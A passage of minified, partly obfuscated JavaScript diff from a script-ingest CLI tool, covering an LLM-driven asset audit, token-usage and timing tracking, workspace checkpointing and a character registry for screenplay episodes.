iE05OcN","y29UzMLKzw5Jzq","uYdOOyZOOAJNPlRNIRBMGihLUBBPMRBLSz7KUO7LKiZKUidLIiBLJlRKUk3NTkFPGRVLHBBKUiRNMOqGqsdOOyZJGilLJRVMJONLVidLPltNMOqGuYdLKi7VViZLKitLIjFKU47LT6BLIldLJ7pLM7RLRPRKUlRVVjO","zgvSzxrL","44ccywrKCMvZCYdMMk8GpgfZC2v0x2LKpI88C3rHDgvFAwq+iow9OUw8J+EAHowfQowXGoEkTUAaGEwCSowDGo+8M25HBwuG5PIV54Q25Ocb5zcn77YBCMvMCY9LCgLZB2rLCY9Zy2vUzxmG5zcR5lMj5zcm5lIk77YBzNjLCxvLBMn5ios4UIb1BNvZzwtJGifZAw5NBgv0B24G5OIwic3VVjTKzxnJCMLWDgLVBIdMMk/NIRBMGihOP4BOP4NMJ4/OV7dVVjTLDMLKzw5Jzv9YzwzZioAyR+IVPEEkTUAaGEEAHowUNUMzHEw8LEEuQos9JEE9RUoaGG","zhvWBgLJyxrLx2fJDg9Y","Bg9JyxrPB25Z","zM9YBwf0x2TLEq","5Qoa5P+L5zcm5lIa5lIQ5lQ654MP5PIV5zcM5zUG5zcn56EW6kgO6l6+5lIn5zcm6kkR55M76k6W5OIq5AsA5lIQigfJDg9Y44cc5BEU5BYc5yYf5OUS5l2g5lIn6zMq5lQo77YA56M65Qc844cb5Qch54k544cb5AsN5Bcp5yAz44cb5ywO5y2k6kEs44cb566a57Mb5l2t77YB5ywO5zcn44cb566a56EW44cb5PI156EW44cb56EW6lct44cb6igm5l2n44cb5PEN5zcn44cb5yYw5zcn44cb6k+r5zcn44cb6z+Z6k+r77YB5yIg6k+n5BEU5BYc44cb6l275B6U6zsz5yIR5A2x44cb6l2S5B2v6k+V5BEU77YB5zcn56EW6zMe5BIM6lQR5lU944cb5Oof57UQ44cb5A+555M95OIw54Q25Ocb6k+05PIo77YB5yMn5PYF6lQR5lU95PYQ5PIo44cb5zco5PYF5y+i5lUL55YF5zcn6yEn5PAW55M76k6W44cc","5zYO5zcm5lIa5lIQ5lQ654MP44cb5zYW54k55OIw6ygt5yw35yAf6yoO77Ym5Qoa5P+L5PIV5zcM5zUG5O+p6l+W5PA55BYp44cb6AkC6iMY57ks5BQM44cb5O6Q6l6E6k+M55wL5OIw6kEc5A+F6kEs5BQM5lIn5zcm77Ym5OQk5zcm5lIa5lIQ56IZ5A6A6kEg6kEj54Q25Ocb5OUg5OIq5AsA5lIQihn0yxrL44cc6yEn54k55ywZ5RoO5zcm5lMjl+I/KEs5IEEkTUAaGEoaGEwqJos4GowLL+ACJEIJHEIIQ+MhJEAwSowrVEwqJEoaGEs7HEwfIEE6V+AiLUwXGoMdQoE7HUIkGUMaOoAiKoEAHow3RUw8GU+8Jos7PEwpIUEkTUAaGEwqJEA3T+wfPEAdHEE7QUoaGEwkQos9NoAiLUwCUUAzR+IVToAyJUoaGG","BwvYz2u","zhvWBgLJyxrLx3n0yxrL","BMfTzxm","vw9trNG","6l+u5zUE5ywO5yMN6lwe5lQN5lIa6iE05OcN5A6H6k6H5y+r546W","Aw1WB3j0yw5Jzq","5lQm44cb6kEg6kEj54Q25Ocb5lIa6iE05OcN","5lIj44cb5l2o6Akr5lIo5BYc5BI454Q25Ocb","DhjPBq"];return rl=function(){return e},rl()}var fh=[D(5),D(38),D(40),D(34),D(6),D(11),D(82),D(35),D(62)],CI=[D(41),D(20),D(14)+uh[D(45)](D(68))+D(61),D(77)+fh[D(45)](D(68))+D(79),D(58),D(32),"",D(75),D(83),D(2),"",D(91),D(84),D(53),"",D(92),D(56),"",D(60),D(22),D(74),"",D(7),D(52),D(9),D(8),D(67),D(43)][D(45)](`
261
+ `),TI=new Set([D(80),D(55),D(10),D(86),D(57),D(70),D(65)]),VI=new Set([D(85),D(78),D(21)]),$I=new Set([D(25),D(37),D(27)]);function ln(e){let t=D,n=e[t(93)]();return n?n[t(36)](/\\/g,"\\\\")[t(36)](/\r\n?|\n/g,"\\n")[t(36)](/\|/g,"\\|")[t(36)](/;/g,"\\;"):"-"}function ol(e){let t=D;return e[t(18)]>0?e[t(69)](ln)[t(45)](";"):"-"}function DI(e){let t=D,n=[t(31),t(1)+ln(e[t(42)]),t(46)+uh[t(45)]("|"),t(39)+fh[t(45)]("|")],o=(i,r)=>{let s=t;n[s(71)]("["+i+":"+r[s(18)]+"]");for(let c of r)if(s(88)!==s(88)){_0x4c5672[s(71)](["A",_0x3346d3(_0x10ff10.id),_0x491f28(_0x2e3418[s(38)]),_0x43a7a6(_0x21c903[s(13)]),_0x59e3d3(_0x33921a[s(90)]),_0x5b4072(_0x3f99c5[s(19)]),_0x1e2ca7(_0x46d1f3[s(3)]),_0x7f6b22(_0xcfe569[s(64)]),_0x376ad7(_0x21b2b4[s(82)]),_0x4dc2db(_0xcd97ac[s(35)]),_0x390c6b(_0x4f88f5[s(4)])][s(45)]("|"));for(let a of _0xef23b5[s(17)])_0x5593cc[s(71)](["S",_0x265c62(a[s(5)]),_0x1ae902(a[s(49)]),_0xabc48e(a[s(19)]),_0x4a1d6b(a[s(3)]),_0x514694(a[s(64)]),a[s(15)]??"-",_0x5aa3d6(a[s(82)]),_0x32748e(a[s(35)]),_0x3d8f50(a[s(4)])][s(45)]("|"))}else{n[s(71)](["A",ln(c.id),ln(c[s(38)]),ol(c[s(13)]),ln(c[s(90)]),String(c[s(19)]),String(c[s(3)]),String(c[s(64)]),ln(c[s(82)]),ln(c[s(35)]),ol(c[s(4)])][s(45)]("|"));for(let a of c[s(17)])n[s(71)](["S",ln(a[s(5)]),ln(a[s(49)]),String(a[s(19)]),String(a[s(3)]),String(a[s(64)]),a[s(15)]??"-",ln(a[s(82)]),ln(a[s(35)]),ol(a[s(4)])][s(45)]("|"))}};return o(t(47),e[t(47)]),o(t(81),e[t(81)]),o(t(54),e[t(54)]),n[t(45)](`
262
+ `)}function un(e,t){e=e-0;let n=rl(),o=n[e];if(un.qyTtRy===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};un.uxwRFZ=i,un.OXUPnC={},un.qyTtRy=!0}let r=n[0];un.TDHWfX!==r&&(un.OXUPnC={},un.TDHWfX=r);let s=un.OXUPnC[e];return s===void 0?(o=un.uxwRFZ(o),un.OXUPnC[e]=o):o=s,o}var lh=e=>typeof e===D(48)&&e!==null&&!Array[D(33)](e),mh=e=>Array[D(33)](e)?e:[],Si=e=>typeof e===D(63)?e[D(93)]():"",il=e=>[...new Set(mh(e)[D(69)](Si)[D(30)](Boolean))];function GI(e,t){let n=D;if(!lh(e))throw new Error(n(23));let o=new Set([...t[n(47)],...t[n(81)],...t[n(54)]][n(69)](s=>s.id)),i=new Set([...t[n(47)],...t[n(81)],...t[n(54)]][n(59)](s=>s[n(17)][n(69)](c=>c[n(5)]))),r=[];for(let s of mh(e[n(73)])){if(!lh(s))continue;let c=Si(s[n(50)]),a=Si(s[n(28)]),d=Si(s[n(76)]);if(!TI[n(44)](c)||!VI[n(44)](a)||!$I[n(44)](d))continue;let p=il(s[n(0)])[n(30)](y=>o[n(44)](y)),l=il(s[n(29)])[n(30)](y=>i[n(44)](y));if(p[n(18)]===0&&l[n(18)]===0)continue;let f=Si(s[n(51)]),u=f&&(o[n(44)](f)||i[n(44)](f))?f:null;r[n(71)]({type:c,asset_ids:p,state_ids:l,names:il(s[n(87)]),evidence:Si(s[n(16)]),recommendation:Si(s[n(24)]),suggested_survivor:u,action:a,confidence:d})}return r}async function gh(e,t,n){let o=D,i=await e[o(12)](o(66),{system:CI,user:DI(t),tool:{name:o(26),description:o(89),inputSchema:Hg},...n?{signal:n}:{}});return GI(i[o(72)],t)}var hh="1",BI=(e,t)=>{if(e===null||typeof e!="object"||Array.isArray(e))return!1;let n=e;return n.audit_version===hh&&n.script_hash===t&&n.summary!==null&&typeof n.summary=="object"&&Array.isArray(n.issues)};function JI(e,t){return{audit_version:hh,script_hash:e,created_at:new Date().toISOString(),summary:{issues:t.length,high:t.filter(n=>n.confidence==="high").length,medium:t.filter(n=>n.confidence==="medium").length,low:t.filter(n=>n.confidence==="low").length},issues:t}}async function sl(e,t,n){let o=Je(e),i=ph(e),r=await gh(t,i,n);return JI(o,r)}async function KI(e){let t=Je(e.script);if(!e.force&&e.exists())try{let o=e.read();if(BI(o,t))return e.executor.recordReuse("ingest.asset-audit"),{report:o,reused:!0}}catch{}let n=await sl(e.script,e.executor,e.signal);return e.write(n),{report:n,reused:!1}}async function yh(e,t,n,o={}){return KI({script:t,executor:n,read:()=>e.readJson("asset-audit.json"),write:i=>e.writeJson("asset-audit.json",i),exists:()=>e.has("asset-audit.json"),...o.force?{force:!0}:{},...o.signal?{signal:o.signal}:{}})}var jI={duplicate_actor:"duplicate actor",duplicate_location:"duplicate location",duplicate_prop:"duplicate prop",duplicate_state:"duplicate state",suspicious_singleton_state:"suspicious singleton state",unused_state:"unused state",needs_human_review:"asset needs human review"};function al(e){let t=[...e.asset_ids,...e.state_ids].join(", ")||"<unknown>",n=e.evidence||e.recommendation||"review the referenced assets";return`${jI[e.type]} [${t}]: ${n}`}function wh(e){return e.issues.map(t=>({code:`asset_audit_${t.type}`,path:"$",message:`${al(t)}; action=${t.action}; confidence=${t.confidence}`}))}var cr=class{constructor(t,n=()=>Date.now()){this.flush=t;this.now=n;this.t={startedMs:this.now(),endedMs:null,phases:[],serial:null},this.flush(this.t)}flush;now;t;phaseStart(t){this.t.phases.push({name:t,startedMs:this.now(),endedMs:null}),this.flush(this.t)}phaseEnd(t){for(let n=this.t.phases.length-1;n>=0;n--){let o=this.t.phases[n];if(o.name===t&&o.endedMs===null){o.endedMs=this.now(),this.flush(this.t);return}}}serialStart(t,n){this.t.serial={totalWindows:t,totalEpisodes:n,windows:[]},this.flush(this.t)}windowDone(t,n,o,i){this.t.serial||(this.t.serial={totalWindows:0,totalEpisodes:0,windows:[]}),this.t.serial.windows.push({start:t,end:n,ms:o,cached:i}),this.flush(this.t)}finish(){this.t.endedMs=this.now(),this.flush(this.t)}};function _h(e,t){let n=(e.endedMs??t)-e.startedMs,o=e.phases.map(r=>({name:r.name,ms:(r.endedMs??t)-r.startedMs,running:r.endedMs===null})),i=null;if(e.serial){let r=e.serial.windows,s=r.filter(p=>!p.cached),c=s.length?s.reduce((p,l)=>p+l.ms,0)/s.length:null,a=r.reduce((p,l)=>p+(l.end-l.start+1),0),d=Math.max(0,e.serial.totalWindows-r.length);i={doneWindows:r.length,totalWindows:e.serial.totalWindows,doneEpisodes:a,totalEpisodes:e.serial.totalEpisodes,avgWindowMs:c!=null?Math.round(c):null,etaMs:c!=null?Math.round(c*d):null}}return{elapsedMs:n,done:e.endedMs!==null,phases:o,serial:i}}import*as xh from"node:crypto";function dl(){return{calls:0,succeeded:0,failed:0,reused:0,attempts:0,durationMs:0,inputTokens:0,outputTokens:0,cachedInputTokens:0,cacheCreationTokens:0,totalTokens:0}}function zI(e,t){if(t.status==="reused"){e.reused+=1;return}e.calls+=1,t.status==="succeeded"?e.succeeded+=1:e.failed+=1,e.attempts+=t.attempts,e.durationMs+=t.durationMs,e.inputTokens+=t.inputTokens,e.outputTokens+=t.outputTokens,e.cachedInputTokens+=t.cachedInputTokens,e.cacheCreationTokens+=t.cacheCreationTokens,e.totalTokens=e.inputTokens+e.outputTokens}function Va(e){let t=dl();for(let n of e)zI(t,n);return t}var ds=e=>`${e.provider}\0${e.protocol}\0${e.model}`;function Sh(e){let t=new Map;for(let n of e){let o=ds(n),i=t.get(o)??{identity:{provider:n.provider,protocol:n.protocol,model:n.model},profiles:new Set,fingerprints:new Set,records:[]};i.profiles.add(n.profile),i.fingerprints.add(n.fingerprint),i.records.push(n),t.set(o,i)}return[...t.values()].map(n=>({...n.identity,profiles:[...n.profiles].sort(),fingerprints:[...n.fingerprints].sort(),totals:Va(n.records)})).sort((n,o)=>ds(n).localeCompare(ds(o)))}function cl(e){let t=new Map;for(let n of e){let o=t.get(n.task)??[];o.push(n),t.set(n.task,o)}return[...t.entries()].map(([n,o])=>({task:n,totals:Va(o),byModel:Sh(o)})).sort((n,o)=>n.task.localeCompare(o.task))}function Eh(e){return Sh(e).map(t=>{let n=e.filter(o=>ds(o)===ds(t));return{...t,byTask:cl(n).map(({task:o,totals:i})=>({task:o,totals:i}))}})}function HI(e){let t=e.updatedAt,n=new Map;for(let c of e.episodes)n.set(c.episode,c.runs);let o=new Map,i=new Map;for(let[c,a]of n){o.set(c,[]);for(let d of a)for(let p of d.recordIds){let l=i.get(p)??new Set;l.add(c),i.set(p,l)}}for(let c of e.records)for(let a of i.get(c.id)??[])o.get(a).push(c);let r=[...n.entries()].map(([c,a])=>{let d=o.get(c);return{episode:c,totals:Va(d),byTask:cl(d),byModel:Eh(d),durationMs:a.reduce((p,l)=>p+l.durationMs,0),runs:a}}).sort((c,a)=>c.episode-a.episode),s=Va(e.records);return{...e,updatedAt:t,totals:s,byTask:cl(e.records),byModel:Eh(e.records),episodes:r,timing:{totalDurationMs:e.runs.reduce((c,a)=>c+a.durationMs,0),modelDurationMs:s.durationMs,episodeDurationMs:r.reduce((c,a)=>c+a.durationMs,0)}}}function QI(e){return{version:2,createdAt:e,updatedAt:e,totals:dl(),byTask:[],byModel:[],episodes:[],runs:[],records:[],timing:{totalDurationMs:0,modelDurationMs:0,episodeDurationMs:0}}}function cs(e){return new Date(e).toISOString()}var Do=class{constructor(t,n,o=()=>Date.now()){this.store=t;this.executor=n;this.now=o;this.startedAtMs=this.now(),this.cursor=n.usageEvents().length;let i=cs(this.startedAtMs);if(this.report=t.has("usage.json")?t.readJson("usage.json"):QI(i),this.report.version!==2)throw new Error("workspace/usage.json uses an incompatible schema; rerun ingest with --force to rebuild the workspace.");for(let r of this.report.runs)r.status==="running"&&(r.status="interrupted",r.endedAt=this.report.updatedAt,r.durationMs=Math.max(0,Date.parse(this.report.updatedAt)-Date.parse(r.startedAt)));this.report.runs.push({id:this.runId,status:"running",startedAt:i,endedAt:null,durationMs:0}),this.write(this.startedAtMs)}store;executor;now;runId=xh.randomUUID();startedAtMs;cursor;report;flush(t){this.write(this.append(t))}recordReusedEpisodes(t,n){if(n.length!==0){for(let o of n){this.executor.recordReuse(t);let i=this.now();this.append({scope:{kind:"episode",episode:o},status:"reused",startedAtMs:i,endedAtMs:i})}this.write(this.now())}}append(t){let n=t.endedAtMs??this.now(),o=t.startedAtMs??n,i=this.executor.usageEvents(),s=i.slice(this.cursor).map(c=>this.toRecord(c,t.scope));if(this.cursor=i.length,this.report.records.push(...s),t.scope.kind==="episode"){let c=t.scope.episode,a=this.report.episodes.find(p=>p.episode===c),d=a?.runs??[];d.push({runId:this.runId,status:t.status??"succeeded",startedAt:cs(o),endedAt:cs(n),durationMs:Math.max(0,n-o),stages:t.stages??{},recordIds:s.map(p=>p.id)}),a||this.report.episodes.push({episode:c,totals:dl(),byTask:[],byModel:[],durationMs:0,runs:d})}return n}finish(t){let n=this.now();this.executor.usageEvents().length>this.cursor&&this.flush({scope:{kind:"run"},status:t==="succeeded"?"succeeded":"failed",endedAtMs:n});let o=this.report.runs.find(i=>i.id===this.runId);o&&(o.status=t,o.endedAt=cs(n),o.durationMs=Math.max(0,n-this.startedAtMs)),this.write(n)}toRecord(t,n){return{...t,id:`${this.runId}:${t.sequence}`,runId:this.runId,scope:n}}write(t){let n=this.report.runs.find(o=>o.id===this.runId);n?.status==="running"&&(n.durationMs=Math.max(0,t-this.startedAtMs)),this.report.updatedAt=cs(t),this.report=HI(this.report),this.store.writeJson("usage.json",this.report)}};var ll="12",$a=e=>String(e).padStart(3,"0"),Ih=e=>e.map(t=>JSON.stringify(t)).join(`
263
263
  `)+`
264
- `;function FI(e,t,n){if(e.has("manifest.json")){let o=e.readJson("manifest.json");if(o.source?.sha256&&o.source.sha256!==t)throw new S("This workspace was built from a different source. --force cannot switch sources.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Choose a fresh --workspace-path for the new source.",data:{actual:["workspace source differs from --source-path"]}});if(!n&&o.pipeline_version&&o.pipeline_version!==ul)throw new S("This workspace was created by an older text-ingest pipeline.",{exitCode:b,errorCode:"INGEST_PIPELINE_MISMATCH",hint:"Rerun `scriptctl ingest --force` with the same source to rebuild its checkpoints.",data:{actual:[`workspace pipeline ${o.pipeline_version}; current ${ul}`]}})}if(n){for(let o of["pass1","pass2","pass3","pass5","serial"])ll.rmSync(e.path(o),{recursive:!0,force:!0});for(let o of["body.json","script.initial.json","script.json","validation.json","asset-audit.json","notes.json","issues.json","provisional_assets.json","usage.json","v4_identity_map.json"])ll.rmSync(e.path(o),{force:!0})}}async function kh(e){let t=vn(e.sourcePath);if(t.kind!=="text")throw new S("runTextIngest received a non-text source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});let n=await Aa(t.path,t.ext),o=_e(n),i=new mt(e.workspacePath);i.ensure(),FI(i,o,e.force??!1);let r=new pr(a=>i.writeJson("timings.json",a)),s=new Go(i,e.executor),c="failed";try{let a=Date.now(),d=0;if(!e.force&&i.has("pass1/body_start.json"))d=i.readJson("pass1/body_start.json").line??0,e.executor.recordReuse("ingest.body-start");else{let P=await Gg(e.executor,n,e.signal);d=P.line,i.writeJson("pass1/body_start.json",P)}let p=n.split(`
264
+ `;function FI(e,t,n){if(e.has("manifest.json")){let o=e.readJson("manifest.json");if(o.source?.sha256&&o.source.sha256!==t)throw new S("This workspace was built from a different source. --force cannot switch sources.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Choose a fresh --workspace-path for the new source.",data:{actual:["workspace source differs from --source-path"]}});if(!n&&o.pipeline_version&&o.pipeline_version!==ll)throw new S("This workspace was created by an older text-ingest pipeline.",{exitCode:b,errorCode:"INGEST_PIPELINE_MISMATCH",hint:"Rerun `scriptctl ingest --force` with the same source to rebuild its checkpoints.",data:{actual:[`workspace pipeline ${o.pipeline_version}; current ${ll}`]}})}if(n){for(let o of["pass1","pass2","pass3","pass5","serial"])pl.rmSync(e.path(o),{recursive:!0,force:!0});for(let o of["body.json","script.initial.json","script.json","validation.json","asset-audit.json","notes.json","issues.json","provisional_assets.json","usage.json","v4_identity_map.json"])pl.rmSync(e.path(o),{force:!0})}}async function Ah(e){let t=bn(e.sourcePath);if(t.kind!=="text")throw new S("runTextIngest received a non-text source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});let n=await Ia(t.path,t.ext),o=_e(n),i=new mt(e.workspacePath);i.ensure(),FI(i,o,e.force??!1);let r=new cr(a=>i.writeJson("timings.json",a)),s=new Do(i,e.executor),c="failed";try{let a=Date.now(),d=0;if(!e.force&&i.has("pass1/body_start.json"))d=i.readJson("pass1/body_start.json").line??0,e.executor.recordReuse("ingest.body-start");else{let P=await Dg(e.executor,n,e.signal);d=P.line,i.writeJson("pass1/body_start.json",P)}let p=n.split(`
265
265
  `),l=d>0?p.slice(d).join(`
266
266
  `):n,f=d>0?p.slice(0,d).join(`
267
- `).trim().slice(0,6e3):"",u=kg(l);i.writeText("pass1/source.txt",n),i.writeJson("pass1/chunks.json",u.map(P=>({index:P.index,core_line_start:P.core_line_start,core_line_end:P.core_line_end}))),i.writeJson("manifest.json",{version:1,pipeline_version:ul,updated:new Date().toISOString(),source:{path:lr.resolve(t.path),sha256:o,kind:"text",ext:t.ext},chunks:u.length}),s.flush({scope:{kind:"phase",phase:"prepare"},status:"succeeded",startedAtMs:a});let y=0;r.phaseStart("normalize");let m=await Bg(u,e.concurrency??30,async P=>{let ce=`pass2/chunk_${Da(P.index)}.json`,Se=`pass2/chunk_${Da(P.index)}.error.json`;if(i.has(ce)&&!e.force){let Ni=Qp(i.readJson(ce),P);return i.clearError(Se),y++,e.executor.recordReuse("ingest.text-normalize"),Ni}let{raw:Ot,records:Cn}=await Vg(e.executor,P,e.signal);return i.writeText(ce,Ot),i.writeText(`pass2/chunk_${Da(P.index)}.jsonl`,Ah(Cn)),i.clearError(Se),Cn}),g=m.filter(P=>!P.ok);for(let P of g){let ce=P.error instanceof Error?P.error.message:String(P.error);i.writeJson(`pass2/chunk_${Da(P.index)}.error.json`,{chunk:P.index,error:ce})}if(s.flush({scope:{kind:"phase",phase:"normalize"},status:g.length?"failed":"succeeded"}),g.length>0)throw new S(`${g.length}/${u.length} chunk(s) failed normalization.`,{exitCode:b,errorCode:"INGEST_NORMALIZE_INCOMPLETE",hint:"Inspect pass2/chunk_NNN.error.json and rerun `scriptctl ingest` to resume.",data:{actual:g.map(P=>`chunk ${P.index}`)}});r.phaseEnd("normalize");let w,h,_;if(!e.force&&i.has("body.json"))w=i.readJson("body.json"),h=i.has("pass3/script.jsonl")?ss(i.readText("pass3/script.jsonl")).length:0,_=i.has("notes.json")?i.readJson("notes.json").length:0,y++;else{let P=[];for(let Cn of m)Cn.ok&&P.push(...Cn.value);i.writeText("pass3/script.jsonl",Ah(P));let ce=ss(i.readText("pass3/script.jsonl")),Se=YI(t.path),Ot=Ag(ce,{title:Se});i.writeJson("notes.json",Ot.notes),w=Ot.script,i.writeJson("body.json",w),h=P.length,_=Ot.notes.length}og(w,_a(o),d);let x=P=>String(P).padStart(3,"0"),E=(P,ce)=>`serial/win_${x(P)}_${x(ce)}.json`,A={readUpdate:(P,ce)=>i.has(E(P,ce))?i.readText(E(P,ce)):void 0,writeStep:(P,ce,Se,Ot)=>{i.writeText(`serial/context_${x(P)}.md`,Se),i.writeText(E(P,ce),Ot)},readArc:(P,ce)=>{let Se=`serial/arc_${x(P)}_${x(ce)}.md`;return i.has(Se)?i.readText(Se):void 0},writeArc:(P,ce,Se)=>{i.writeText(`serial/arc_${x(P)}_${x(ce)}.md`,Se)},readNameFix:(P,ce)=>{let Se=`serial/fix_${x(P)}_${x(ce)}.json`;return i.has(Se)?i.readText(Se):void 0},writeNameFix:(P,ce,Se)=>i.writeText(`serial/fix_${x(P)}_${x(ce)}.json`,Se)};r.phaseStart("serial");let k=await dh(w,{executor:e.executor,checkpoint:A,force:e.force??!1,...f?{sourceRef:f}:{},onWindow:P=>{P.index===0&&r.serialStart(P.total,P.totalEpisodes),r.windowDone(P.startEp,P.endEp,P.ms,P.cached);let ce=P.startEp===P.endEp?{kind:"episode",episode:P.startEp}:{kind:"episode-range",startEpisode:P.startEp,endEpisode:P.endEp},Se=Date.now();s.flush({scope:ce,status:P.cached?"reused":"succeeded",startedAtMs:Se-P.ms,endedAtMs:Se})},...e.signal?{signal:e.signal}:{}}),N=k.doc;y+=k.reused,r.phaseEnd("serial"),r.phaseStart("govern");let{script:M,idMap:I}=Ua(N);i.writeJson("id_map.json",I);let O=wt(M);if(!O.ok)throw i.writeJson("validation.json",O),new S("Intermediate script failed validation before v4 identity assignment.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect validation.json.",data:{actual:O.errors.slice(0,5).map(P=>`${P.path}: ${P.message}`)}});let U=!e.force&&i.has("v4_identity_map.json")?i.readJson("v4_identity_map.json"):void 0,C=cr(Tt(N),U,k.identityKeys),R=C.script,K=Pe(R),Z=[],Re=Date.now(),ie="failed";try{if(K.ok){let P=await wh(i,R,e.executor,{force:e.force??!1,...e.signal?{signal:e.signal}:{}});Z=_h(P.report)}ie="succeeded"}finally{s.flush({scope:{kind:"phase",phase:"asset-audit"},status:ie,startedAtMs:Re})}let j={...K,warnings:[...K.warnings,...ar(R),...Z]};if(i.writeJson("pass5/script.json",R),i.writeJson("v4_identity_map.json",C.identityMap),i.writeJson("validation.json",j),!j.ok)throw new S("Final script.json failed v4 validation.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect validation.json.",data:{actual:j.errors.slice(0,5).map(P=>`${P.path}: ${P.message}`)}});i.writeJson("script.json",R),r.phaseEnd("govern"),r.finish();let vt=R;return c="succeeded",{workspacePath:i.root,chunks:u.length,reused:y,records:h,notes:_,assets:{actors:vt.actors?.length??0,locations:vt.locations?.length??0,props:vt.props?.length??0},scriptPath:i.path("script.json"),validation:{ok:j.ok,errors:j.errors.length,warnings:j.warnings.length}}}finally{s.finish(c)}}function YI(e){return lr.basename(e,lr.extname(e))}import*as ao from"node:fs";import*as ki from"node:path";import{createHash as _A}from"node:crypto";var qI=()=>({apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:[],voice:""});function Bo(){return{lastEpisode:0,registry:[],digests:[],openThreads:[]}}var xe=e=>e.normalize("NFC").replace(/\s+/g," ").trim(),Ba=(e,t)=>e.length>t?`${e.slice(0,t)}\u2026`:e;function ZI(e,t){let n=xe(t);return e.find(o=>xe(o.name)===n||xe(o.identitySeed)===n||o.aliases.some(i=>xe(i)===n))}var WI=3,XI=12e3;function Ai(e,t){let n=(t??"").trim();n&&!e.includes(n)&&e.push(n)}var eA=["apparent_gender","apparent_age","face_shape","brows_eyes","nose","mouth","skin_features","hair","build","voice"];function Ga(e,t,n){if(!t)return e;let o=e?{...e,persistent_marks:[...e.persistent_marks]}:qI();for(let i of eA){let r=t[i]?.trim()??"";r&&(n||!o[i])&&(o[i]=r)}for(let i of t.persistent_marks??[])Ai(o.persistent_marks,i);return o}function ml(e,t,n){let o=t.name.trim();if(!o)return;let i=t.description.trim(),r=e.find(s=>Mn(s.name)===Mn(o));if(!r){e.push({name:o,description:i});return}i&&(n||!r.description)&&(r.description=i)}function fl(e,t,n,o=!1){let i=(s,c)=>{let a=(c??"").trim();return a&&(o||!s)?a:s};for(let s of t.add_recognition_anchors??[])Ai(e.recognitionAnchors,s);e.identityProfile=Ga(e.identityProfile,t.identity_profile_patch,o),t.identity_revision&&(e.identityProfile={...t.identity_revision.profile,persistent_marks:[...t.identity_revision.profile.persistent_marks]},e.recognitionAnchors=[...t.identity_revision.recognition_anchors]);let r=i(e.appearance,t.appearance);r&&(e.appearance=r),e.role=t.identity_revision&&t.role!==void 0?t.role.trim():i(e.role,t.role)??e.role;for(let s of t.add_aliases??[])Ai(e.aliases,s);for(let s of t.add_states??[])ml(e.states,s,o);e.lastEpisode=n}function us(e,t,n){let o=r=>ZI(e.registry,r);for(let r of t.registry_delta.new_entities){let s=r.name.trim();if(!s||r.kind==="actor"&&dt(s))continue;let c=o(s);if(c){fl(c,{add_recognition_anchors:r.recognition_anchors,identity_profile_patch:r.identity_profile,appearance:r.appearance,role:r.role,add_aliases:r.aliases,add_states:r.states},n);continue}let a=[];for(let p of r.states??[])ml(a,p,!1);let d=[];for(let p of r.aliases??[])Ai(d,p);e.registry.push({identitySeed:s,name:s,kind:r.kind,status:r.status,importance:r.importance,recognitionAnchors:[...new Set((r.recognition_anchors??[]).map(p=>p.trim()).filter(Boolean))],...r.identity_profile?{identityProfile:Ga(void 0,r.identity_profile,!0)}:{},...r.appearance?{appearance:r.appearance.trim()}:{},role:(r.role??"").trim(),aliases:d,states:a,firstEpisode:n,lastEpisode:n})}for(let r of t.registry_delta.enrich){if(r.identity_revision)continue;let s=o(r.name);s&&fl(s,r,n,!0)}for(let r of t.registry_delta.canonicalize){let s=o(r.from_name),c=r.canonical_name.trim();if(!s||!c||xe(c)===xe(s.name))continue;let a=o(c);if(a&&a!==s){let d=s.firstEpisode<a.firstEpisode?s:a,p=d===s?a:s,l=d.states.map(y=>({...y})),f=new Set([...s.aliases,...a.aliases,s.identitySeed,a.identitySeed,s.name,a.name,r.from_name].map(y=>y.trim()).filter(Boolean));d.name=c,d.status="canonical",d.importance=s.importance==="featured"||a.importance==="featured"?"featured":"background",d.recognitionAnchors=[];for(let y of[...s.recognitionAnchors,...a.recognitionAnchors])Ai(d.recognitionAnchors,y);let u=Ga(void 0,s.identityProfile,!0);d.identityProfile=Ga(u,a.identityProfile,!0),(a.appearance||s.appearance)&&(d.appearance=a.appearance||s.appearance),d.role=a.role||s.role,d.states=[];for(let y of[...l,...p.states])ml(d.states,y,!1);d.aliases=[...f].filter(y=>xe(y)!==xe(c)),d.firstEpisode=Math.min(s.firstEpisode,a.firstEpisode),d.lastEpisode=Math.max(s.lastEpisode,a.lastEpisode,n),e.registry.splice(e.registry.indexOf(p),1);continue}Ai(s.aliases,s.name),Ai(s.aliases,r.from_name),s.name=c,s.status="canonical",s.aliases=s.aliases.filter(d=>xe(d)!==xe(c)),s.lastEpisode=n}for(let r of t.registry_delta.enrich){if(!r.identity_revision)continue;let s=o(r.name);s&&fl(s,r,n,!0)}let i=0;for(let r of t.open_threads.opened){let s=r.text.trim();s&&e.openThreads.push({id:`t${n}_${++i}`,text:s,sinceEpisode:n})}for(let r of t.open_threads.closed){let s=r.ref.trim();s&&(e.openThreads=e.openThreads.filter(c=>c.id!==s&&c.text!==s))}return e.digests.push({episode:n,synopsis:(t.synopsis??"").trim()}),e.lastEpisode=n,e}function Oh(e,t){return e.digests.push({episode:t,synopsis:"",outcome:"skipped"}),e.lastEpisode=t,e}function tA(e,t){let n=[],o=e.status==="provisional"?"\xB7\u5F85\u5B9A \u26A0":`\xB7${e.importance}`;n.push(`### ${e.name} ${o}`),e.role&&n.push(`- \u8EAB\u4EFD\u5173\u7CFB\u8BB0\u5F55\uFF08\u5F85\u6838\uFF09: ${Ba(e.role,t?40:200)}`),e.recognitionAnchors.length&&n.push(`- \u8BC6\u522B\u951A\u70B9: ${e.recognitionAnchors.join("\uFF1B")}`);let i=e.identityProfile;if(i){let 